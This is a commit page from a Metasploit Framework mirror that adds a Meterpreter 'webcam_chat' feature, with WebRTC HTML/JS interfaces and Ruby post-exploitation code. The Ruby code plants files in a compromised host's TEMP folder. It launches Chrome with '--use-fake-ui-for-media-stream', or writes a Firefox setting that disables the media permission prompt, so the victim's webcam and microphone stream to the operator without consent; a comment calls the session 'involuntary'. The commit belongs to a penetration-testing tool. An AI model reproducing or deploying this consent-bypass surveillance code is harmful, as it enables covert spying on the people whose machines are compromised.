1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #2983, webcam_chat for Meterpreter

This commit is contained in:
Tod Beardsley 2014-02-18 13:43:42 -06:00
commit 8e0a4aaa58
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
7 changed files with 1048 additions and 1 deletions

View File

@ -151,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
License: BSD-3-clause
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
#
# Gems
#

193
data/webcam/answerer.html Normal file
View File

@ -0,0 +1,193 @@
<html>
<head>
<title>webcam_chat</title>
<style type="text/css">
div.container {
position: relative;
}
div.windowa {
height: 480px;
width: 640px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 50;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowb {
height: 180px;
width: 200px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: #9B9B9B;
position: absolute;
top: 480;
left: 470;
padding: 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
}
div.windowc {
position: absolute;
top: 510;
left: 80;
height: 150px;
width: 380px;
color: red;
}
div.footer {
position: fixed;
bottom: 0;
width: 100%;
padding: 10px;
}
video.peer {
position: absolute;
top: 15;
left: 10;
}
video.self {
position: absolute;
top: 5;
left: 10;
}
</style>
<script src="=WEBRTCAPIJS="> </script>
<script>
window.onerror = function(e) {
document.getElementById("message").innerHTML = "Error: " + e.toString();
}
window.onload = function() {
document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
}
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
var inSession = false;
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket);
peer.onUserFound = function(userid) {
if (inSession) {
console.debug("Already in session, will not send another participation request");
return;
};
userid = "=OFFERERID=";
getUserMedia(function(stream) {
peer.addStream(stream);
peer.sendParticipationRequest(userid);
inSession = true;
document.getElementById("message").innerHTML = "Session is now active.";
});
};
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
if (e.userid == 'self') {
video.controls = true;
video.setAttribute('width', 200);
video.setAttribute('height', 190);
video.setAttribute('controls', false);
video.setAttribute('class', 'self');
document.getElementById("windowb").appendChild(video);
}
else {
video.controls = true;
video.setAttribute('width', 640);
video.setAttribute('height', 460);
video.setAttribute('controls', false);
video.setAttribute('class', 'peer');
document.getElementById("windowa").appendChild(video);
}
video.muted = false;
video.volume = 0.5;
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
document.getElementById("message").innerHTML = "The video session has ended.";
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</head>
<body>
<div class="container">
<div class="windowa" id="windowa">
</div>
<div class="windowb" id="windowb">
</div>
<div class="windowc">
<b>Session status (=RHOST=):</b><p></p>
<span id="message"></span>
</div>
</div>
<div class="footer">
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
</div>
</body>
</html>

363
data/webcam/api.js Normal file
View File

@ -0,0 +1,363 @@
// Muaz Khan - https://github.com/muaz-khan
// MIT License - https://www.webrtc-experiment.com/licence/
// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
(function () {
window.PeerConnection = function (socketURL, userid) {
this.userid = userid || getToken();
this.peers = {};
if (!socketURL) throw 'Socket-URL is mandatory.';
new Signaler(this, socketURL);
this.addStream = function(stream) {
this.MediaStream = stream;
};
};
function Signaler(root, socketURL) {
var self = this;
root.startBroadcasting = function () {
if(!root.MediaStream) throw 'Offerer must have media stream.';
(function transmit() {
socket.send({
userid: root.userid,
broadcasting: true
});
!self.participantFound &&
!self.stopBroadcasting &&
setTimeout(transmit, 3000);
})();
};
root.sendParticipationRequest = function (userid) {
socket.send({
participationRequest: true,
userid: root.userid,
to: userid
});
};
// if someone shared SDP
this.onsdp = function (message) {
var sdp = message.sdp;
if (sdp.type == 'offer') {
root.peers[message.userid] = Answer.createAnswer(merge(options, {
MediaStream: root.MediaStream,
sdp: sdp
}));
}
if (sdp.type == 'answer') {
root.peers[message.userid].setRemoteDescription(sdp);
}
};
root.acceptRequest = function (userid) {
root.peers[userid] = Offer.createOffer(merge(options, {
MediaStream: root.MediaStream
}));
};
var candidates = [];
// if someone shared ICE
this.onice = function (message) {
var peer = root.peers[message.userid];
if (peer) {
peer.addIceCandidate(message.candidate);
for (var i = 0; i < candidates.length; i++) {
peer.addIceCandidate(candidates[i]);
}
candidates = [];
} else candidates.push(candidates);
};
// it is passed over Offer/Answer objects for reusability
var options = {
onsdp: function (sdp) {
socket.send({
userid: root.userid,
sdp: sdp,
to: root.participant
});
},
onicecandidate: function (candidate) {
socket.send({
userid: root.userid,
candidate: candidate,
to: root.participant
});
},
onStreamAdded: function (stream) {
console.debug('onStreamAdded', '>>>>>>', stream);
stream.onended = function () {
if (root.onStreamEnded) root.onStreamEnded(streamObject);
};
var mediaElement = document.createElement('video');
mediaElement.id = root.participant;
mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
mediaElement.autoplay = true;
mediaElement.controls = true;
mediaElement.play();
var streamObject = {
mediaElement: mediaElement,
stream: stream,
userid: root.participant,
type: 'remote'
};
function afterRemoteStreamStartedFlowing() {
if (!root.onStreamAdded) return;
root.onStreamAdded(streamObject);
}
afterRemoteStreamStartedFlowing();
}
};
function closePeerConnections() {
self.stopBroadcasting = true;
if (root.MediaStream) root.MediaStream.stop();
for (var userid in root.peers) {
root.peers[userid].peer.close();
}
root.peers = {};
}
root.close = function () {
socket.send({
userLeft: true,
userid: root.userid,
to: root.participant
});
closePeerConnections();
};
window.onbeforeunload = function () {
root.close();
};
window.onkeyup = function (e) {
if (e.keyCode == 116)
root.close();
};
function onmessage(e) {
var message = JSON.parse(e.data);
if (message.userid == root.userid) return;
root.participant = message.userid;
// for pretty logging
console.debug(JSON.stringify(message, function (key, value) {
if (value && value.sdp) {
console.log(value.sdp.type, '---', value.sdp.sdp);
return '';
} else return value;
}, '---'));
// if someone shared SDP
if (message.sdp && message.to == root.userid) {
self.onsdp(message);
}
// if someone shared ICE
if (message.candidate && message.to == root.userid) {
self.onice(message);
}
// if someone sent participation request
if (message.participationRequest && message.to == root.userid) {
self.participantFound = true;
if (root.onParticipationRequest) {
root.onParticipationRequest(message.userid);
} else root.acceptRequest(message.userid);
}
// if someone is broadcasting himself!
if (message.broadcasting && root.onUserFound) {
root.onUserFound(message.userid);
}
if (message.userLeft && message.to == root.userid) {
closePeerConnections();
}
}
var socket = socketURL;
if(typeof socketURL == 'string') {
socket = new WebSocket(socketURL);
socket.push = socket.send;
socket.send = function (data) {
socket.push(JSON.stringify(data));
};
socket.onopen = function () {
console.log('websocket connection opened.');
};
}
socket.onmessage = onmessage;
}
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
window.URL = window.webkitURL || window.URL;
var isFirefox = !!navigator.mozGetUserMedia;
var isChrome = !!navigator.webkitGetUserMedia;
var STUN = {
url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
};
var TURN = {
url: 'turn:homeo@turn.bistri.com:80',
credential: 'homeo'
};
var iceServers = {
iceServers: [STUN]
};
if (isChrome) {
if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
TURN = {
url: 'turn:turn.bistri.com:80',
credential: 'homeo',
username: 'homeo'
};
iceServers.iceServers = [STUN, TURN];
}
var optionalArgument = {
optional: [{
DtlsSrtpKeyAgreement: true
}]
};
var offerAnswerConstraints = {
optional: [],
mandatory: {
OfferToReceiveAudio: true,
OfferToReceiveVideo: true
}
};
function getToken() {
return Math.round(Math.random() * 9999999999) + 9999999999;
}
function onSdpError() {}
// var offer = Offer.createOffer(config);
// offer.setRemoteDescription(sdp);
// offer.addIceCandidate(candidate);
var Offer = {
createOffer: function (config) {
var peer = new RTCPeerConnection(iceServers, optionalArgument);
if (config.MediaStream) peer.addStream(config.MediaStream);
peer.onaddstream = function (event) {
config.onStreamAdded(event.stream);
};
peer.onicecandidate = function (event) {
if (event.candidate)
config.onicecandidate(event.candidate);
};
peer.createOffer(function (sdp) {
peer.setLocalDescription(sdp);
config.onsdp(sdp);
}, onSdpError, offerAnswerConstraints);
this.peer = peer;
return this;
},
setRemoteDescription: function (sdp) {
this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
},
addIceCandidate: function (candidate) {
this.peer.addIceCandidate(new RTCIceCandidate({
sdpMLineIndex: candidate.sdpMLineIndex,
candidate: candidate.candidate
}));
}
};
// var answer = Answer.createAnswer(config);
// answer.setRemoteDescription(sdp);
// answer.addIceCandidate(candidate);
var Answer = {
createAnswer: function (config) {
var peer = new RTCPeerConnection(iceServers, optionalArgument);
if (config.MediaStream) peer.addStream(config.MediaStream);
peer.onaddstream = function (event) {
config.onStreamAdded(event.stream);
};
peer.onicecandidate = function (event) {
if (event.candidate)
config.onicecandidate(event.candidate);
};
peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
peer.createAnswer(function (sdp) {
peer.setLocalDescription(sdp);
config.onsdp(sdp);
}, onSdpError, offerAnswerConstraints);
this.peer = peer;
return this;
},
addIceCandidate: function (candidate) {
this.peer.addIceCandidate(new RTCIceCandidate({
sdpMLineIndex: candidate.sdpMLineIndex,
candidate: candidate.candidate
}));
}
};
function merge(mergein, mergeto) {
for (var t in mergeto) {
mergein[t] = mergeto[t];
}
return mergein;
}
window.URL = window.webkitURL || window.URL;
navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
navigator.getUserMedia = function(hints, onsuccess, onfailure) {
if(!hints) hints = {audio:true,video:true};
if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
navigator.getMedia(hints, _onsuccess, _onfailure);
function _onsuccess(stream) {
onsuccess(stream);
}
function _onfailure(e) {
if(onfailure) onfailure(e);
else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
}
};
})();

195
data/webcam/offerer.html Normal file
View File

@ -0,0 +1,195 @@
<html>
<head>
<title>Video session</title>
<style type="text/css">
div.dot1 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 470;
}
div.dot2 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 505;
}
div.dot3 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 540;
}
div.windowa {
height: 340px;
width: 420px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 20;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowb {
height: 340px;
width: 420px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 570;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowc {
position: absolute;
top: 400;
left: 60;
height: 50px;
width: 900px;
color: red;
}
div.footer {
position: fixed;
bottom: 0;
width: 100%;
padding: 10px;
}
</style>
<script src="api.js"> </script>
<script>
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket, '=OFFERERID=');
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
video.setAttribute('width', 420);
video.setAttribute('height', 340);
video.setAttribute('controls', false);
video.volume = 0.5;
if (e.userid == 'self') {
document.getElementById("windowb").appendChild(video);
}
else {
document.getElementById("windowa").appendChild(video);
document.getElementById("message").innerHTML = "Session is now active.";
}
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
document.getElementById("message").innerHTML = "The video session has ended.";
};
window.onload = function() {
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</head>
<body>
<div class="windowa" id="windowa">
<b>You peer</b>
</div>
<div class="dot1"></div>
<div class="dot2"></div>
<div class="dot3"></div>
<div class="windowb" id="windowb">
<b>You</b>
</div>
<div class="windowc">
<b>Status:</b><p></p>
<span id="message">Waiting for your peer to join the video session...</span>
</div>
<div class="footer">
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
</div>
</body>
</html>

View File

@ -114,7 +114,7 @@ def self.open_file(url='')
end
end
def self.open_browser(url='http://metasploit.com/')
def self.open_browser(url='http://google.com/')
case RUBY_PLATFORM
when /cygwin/
if(url[0,1] == "/")
@ -148,6 +148,62 @@ def self.open_browser(url='http://metasploit.com/')
end
end
def self.open_webrtc_browser(url='http://google.com/')
found_browser = false
case RUBY_PLATFORM
when /mswin2|mingw|cygwin/
paths = [
"Google\\Chrome\\Application\\chrome.exe",
"Mozilla Firefox\\firefox.exe",
"Opera\\launcher.exe"
]
prog_files = ENV['ProgramFiles']
paths = paths.map { |p| "#{prog_files}\\#{p}" }
# Old chrome path
app_data = ENV['APPDATA']
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |p|
if File.exists?(p)
args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("#{path} #{args} #{url}")
found_browser = true
break
end
end
when /darwin/
['Google Chrome.app', 'Firefox.app'].each do |browser|
browser_path = "/Applications/#{browser}"
if File.directory?(browser_path)
args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
system("open #{url} -a \"#{browser_path}\" #{args} &")
found_browser = true
break
end
end
else
if defined? ENV['PATH']
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}"
if File.exists?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &")
found_browser = true
end
end
end
end
end
found_browser
end
def self.open_email(addr)
case RUBY_PLATFORM
when /mswin32|cygwin/

View File

@ -1,5 +1,7 @@
# -*- coding: binary -*-
#require 'rex/post/meterpreter/extensions/process'
module Rex
module Post
module Meterpreter
@ -14,10 +16,17 @@ module Webcam
###
class Webcam
include Msf::Post::Common
include Msf::Post::File
def initialize(client)
@client = client
end
def session
@client
end
def webcam_list
response = client.send_request(Packet.create_request('webcam_list'))
names = []
@ -47,6 +56,26 @@ class Webcam
true
end
#
# Starts a webcam session with a remote user via WebRTC
#
# @param server [String] A server to use for the channel.
# @return void
#
def webcam_chat(server)
offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20)
remote_browser_path = get_webrtc_browser_path
if remote_browser_path.blank?
raise RuntimeError, "Unable to find a suitable browser on the target machine"
end
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
connect_video_chat(server, channel, offerer_id)
end
# Record from default audio source for +duration+ seconds;
# returns a low-quality wav file
def record_mic(duration)
@ -58,6 +87,174 @@ class Webcam
attr_accessor :client
private
#
# Returns a browser path that supports WebRTC
#
# @return [String]
#
def get_webrtc_browser_path
found_browser_path = ''
case client.platform
when /win/
paths = [
"Program Files\\Google\\Chrome\\Application\\chrome.exe",
"Program Files\\Mozilla Firefox\\firefox.exe"
]
drive = session.sys.config.getenv("SYSTEMDRIVE")
paths = paths.map { |p| "#{drive}\\#{p}" }
# Old chrome path
user_profile = client.sys.config.getenv("USERPROFILE")
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |browser_path|
if file?(browser_path)
found_browser_path = browser_path
break
end
end
when /osx|bsd/
[
'/Applications/Google Chrome.app',
'/Applications/Firefox.app',
].each do |browser_path|
if file?(browser_path)
found_browser_path = browser_path
break
end
end
when /linux|unix/
# Need to add support for Linux in the future.
# But you see, the Linux meterpreter is so broken there is no point
# to do it now. You can't test anyway.
end
found_browser_path
end
#
# Creates a video chat session as an offerer... involuntarily :-p
# Windows targets only.
#
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
# @param offerer_id [String] A ID that the answerer can look for and join
#
def init_video_chat(remote_browser_path, server, channel, offerer_id)
interface = load_interface('offerer.html')
api = load_api_code
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
tmp_dir = session.sys.config.getenv("TEMP")
begin
write_file("#{tmp_dir}\\interface.html", interface)
write_file("#{tmp_dir}\\api.js", api)
rescue ::Exception => e
elog("webcam_chat failed. #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to initialize the interface on the target machine"
end
#
# Automatically allow the webcam to run on the target machine
#
args = ''
if remote_browser_path =~ /Chrome/
args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
elsif remote_browser_path =~ /Firefox/
profile_name = Rex::Text.rand_text_alpha(8)
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
setting = %Q|user_pref("media.navigator.permission.disabled", true);|
begin
write_file(profile_path, setting)
rescue ::Exception => e
elog("webcam_chat failed: #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to write the necessary setting for Firefox."
end
args = "-p #{profile_name}"
end
exec_opts = {'Hidden' => false, 'Channelized' => false}
begin
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
rescue ::Exception => e
elog("webcam_chat failed. #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to start the remote browser: #{e.message}"
end
end
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
api = load_api_code
tmp_api = Tempfile.new('api.js')
tmp_api.binmode
tmp_api.write(api)
tmp_api.close
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
interface = interface.gsub(/\=RHOST\=/, rhost)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new('answerer.html')
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end
end; end; end; end; end; end

View File

@ -22,12 +22,14 @@ class Console::CommandDispatcher::Stdapi::Webcam
#
def commands
all = {
"webcam_chat" => "Start a video chat",
"webcam_list" => "List webcams",
"webcam_snap" => "Take a snapshot from the specified webcam",
"webcam_stream" => "Play a video stream from the specified webcam",
"record_mic" => "Record audio from the default microphone for X seconds"
}
reqs = {
"webcam_chat" => [ "webcam_list" ],
"webcam_list" => [ "webcam_list" ],
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
@ -129,6 +131,42 @@ class Console::CommandDispatcher::Stdapi::Webcam
end
end
def cmd_webcam_chat(*args)
if client.webcam.webcam_list.length == 0
print_error("Target does not have a webcam")
return
end
server = 'wsnodejs.jit.su:80'
webcam_chat_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner"],
"-s" => [ false, "WebSocket server" ]
)
webcam_chat_opts.parse( args ) { | opt, idx, val |
case opt
when "-h"
print_line( "Usage: webcam_chat [options]\n" )
print_line( "Starts a video conversation with your target." )
print_line( "Browser Requirements:")
print_line( "Chrome: version 23 or newer" )
print_line( "Firefox: version 22 or newer" )
print_line( webcam_chat_opts.usage )
return
when "-s"
server = val.to_s
end
}
begin
print_status("Webcam chat session initialized.")
client.webcam.webcam_chat(server)
rescue RuntimeError => e
print_error(e.message)
end
end
def cmd_webcam_stream(*args)
print_status("Starting...")